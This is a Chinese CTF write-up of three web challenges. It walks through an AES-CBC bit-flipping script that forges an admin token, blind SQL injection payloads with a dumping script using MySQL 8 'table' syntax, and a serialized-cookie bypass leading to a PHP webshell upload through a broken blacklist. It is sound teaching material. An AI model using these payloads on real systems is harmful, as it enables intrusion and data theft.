0x01 checkin

在这里插入图片描述
访问/home提示Only admin can get the secret!,可以猜想本题采取了验证token的方式来判断是否为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func HomeController(c *gin.Context) {
token, err := c.Cookie("token")
if err != nil {
c.Redirect(http.StatusFound, "/")
}
jsonUser, _ := utils.TokenDecrypt(token)
user := models.User{}
_ = json.Unmarshal([]byte(jsonUser), &user)
if user.Name == "admin" {
file, _ := os.Open("/flag")
defer file.Close()
content, _ := ioutil.ReadAll(file)
_, _ = c.Writer.WriteString(string(content))
} else {
_, _ = c.Writer.WriteString("Only admin can get the secret!")
}
}

查看源码可以知道token经过解密后判断user.Name字段是否为admin,如果为admin就直接打开flag

源码中的token加密

1
2
3
4
5
6
7
8
9
10
11
12
func TokenEncrypt(user []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize()
originData := pad(user, blockSize)
blockMode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(originData))
blockMode.CryptBlocks(encrypted, originData)
return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil
}

可以看出是aes加密,cbc模式,最后将iv和密文拼接后得到token

到了这一步可以联想到aes算法的cbc翻转攻击,通过改变上一组的密文来使当前组的密文解密结果发送变化

1
2
3
4
5
6
7
8
9
10
11
func IndexController(c *gin.Context) {
_, err := c.Cookie("token")
if err == nil {
c.Redirect(http.StatusFound, "/home")
}
user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
jsonUser, _ := json.Marshal(user)
token, _ := utils.TokenEncrypt(jsonUser)
c.SetCookie("token", token, 3600, "/", "", false, true)
c.Redirect(http.StatusFound, "/home")
}

继续在源码中获取到明文的格式{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}只用把guest翻转为admin即可,以下为解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
from urllib import parse

plain='{"Name":"guest","CreateAt":1651386949,"IP":"127.0.0.1"}'
tx = [123, 34, 78, 97, 109, 101, 34, 58, 34, 103, 117, 101, 115, 116, 34, 44, 34, 67, 114, 101, 97, 116, 101, 65, 116, 34, 58, 49, 54, 53, 49, 51, 56, 54, 57, 52, 57, 44, 34, 73, 80, 34, 58, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 125]
token="MDAwMTE0NTE0MTkxOTgxMOSJAwAU25w%2BxwD1vPGvUJHg5CSOXQDhJ9gGync9G1%2FlP5S4EDx%2FeZt3YoDMGWsjKSPLSoF4SsROuNB1J2yVfHI%3D"
token=parse.unquote(token)
origin=base64.b64decode(token)
for i in range(len(tx)):
print(chr(tx[i]), end='')
print()
vi=bytearray(origin[:16])
cipher=origin[16:]
print(vi)

vi[9]=vi[9]^ord('g')^ord('a')
vi[10]=vi[10]^ord('u')^ord('d')
vi[11]=vi[11]^ord('e')^ord('m')
vi[12]=vi[12]^ord('s')^ord('i')
vi[13]=vi[13]^ord('t')^ord('n')
print(vi)

new_iv=bytes(vi)
print(parse.quote(base64.b64encode(new_iv+cipher)))

0x02 mini_sql

一道简洁的sql注入题目,目的明确,注出用户名密码登陆后即可得到flag
注释中给出sql语句 <!-- select * from users where username='$username' and password='$password'; -->,本题过滤了#注释符和单引号,无法将语句提前闭合,可以在用户名处以反斜杠\结尾,将username之后的单引号注释,从而让password处的内容全部连接到sql语句中,这是常规注入方式

or被过滤 =>||代替
#被过滤 =>;%00代替
substr被过滤 =>mid代替

1
2
||ascii(mid(version(),{i},1))={j};%00
用这种形式的payload可以注出版本号(8.0.xxx)以及库名(ctf)

但本题的盲注由于select被过滤,所以无法继续,尝试大小写和截断均无法绕过

select被过滤一般只有在堆叠注入的情况下才可以绕过,除了极个别不需要select可以直接用password或者flag进行查询的情况

  1. 预编译注入
  2. Handler查询

但经过尝试后均失败,本题无法堆叠注入

1
2
3
||ascii(mid(username,{i},1))={j};%00
尝试用简化查询语句,发现可以注出username,
但我继续注password时发现因为or的过滤导致语句无法通过,本题差一点点被非预期

MYSQL8.0注入新特性
当所有的常规方法用完后,终于发现了一条新路线,利用mysql8.0的新特性进行注入,
出现了两个新的关键字table和values

1
2
3
4
5
6
7
8
9
10
def dump():
password='cd51c1005cab68be2f7e6112a4de3e89'
for j in str_range:
#payload=f"||ascii(mid(username,{i},1))={j};%00"#||ascii(mid((table users limit 0,1),1,1))>1;
payload=f'||(table users limit 1)>=(1,"w3lc0me_t0_m1n1lct5","{password+chr(j)}");%00'
mydata = {'username': '1\\',
'password': unquote(payload)
}
txt = requests.post(url, data=mydata).text
print(txt,chr(j))

类似于无列名注入,得到账号密码后登录获取flag

0x03 include

在这里插入图片描述
一个简洁的文件上传,当尝试上传时为显示Only members of Lteam can use it.,那么一定与user有关
在这里插入图片描述
在这里插入图片描述

将user解码后修改为Lteam即可正常使用上传功能
在这里插入图片描述
成功传入一句话木马,直接蚁剑连接getshell,根目录下得到flag

本题为非预期
出题人upload.php写错了,直接把php传上去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
spl_autoload_register();
set_include_path("./upload");
class user{
var $usergroup='Tourist';
}
setcookie("user",base64_encode(serialize(new user())));

$deny_ext = array("ph","htm","ini","js","jtml", "as","cer", "swf", "htaccess");
$file="file".md5($_FILES['file']['name']).'.'.pathinfo($_FILES['file']['name'])['extension'];
chdir("upload");

$user = unserialize(base64_decode($_COOKIE['user']));
if ($user->usergroup!='Lteam') {
die("Only members of Lteam can use it.");
}
elseif ($_FILES["file"]["error"] > 0) {
echo "Error!" . "<br>";
}
elseif(file_exists($file)){
die("文件已存在!"."./upload/".$file);
}
else{
$file_name = trim($_FILES['file']['name']);
if (stristr($file_name, $deny_ext)) {
die("hacker!");
} else {
$temp_file = $_FILES['file']['tmp_name'];
$path = "./".$file;
$pathshow = "./upload/".$file;
$info = "filename: " . $_FILES["file"]["name"] .";". "<br>". "type: " . $_FILES["file"]["type"] .";". "<br>"."size: " . ($_FILES["file"]["size"] / 1024) . " kB".";". "<br>"."path:" . $pathshow;

if (move_uploaded_file($temp_file, $path)) {
echo "上传成功!". "<br>";
die($info);
}
}
}

stristr($file_name, $deny_ext)函数碰到数组爆错了,设置的黑名单也就无效了,导致这个题被狠狠的非预期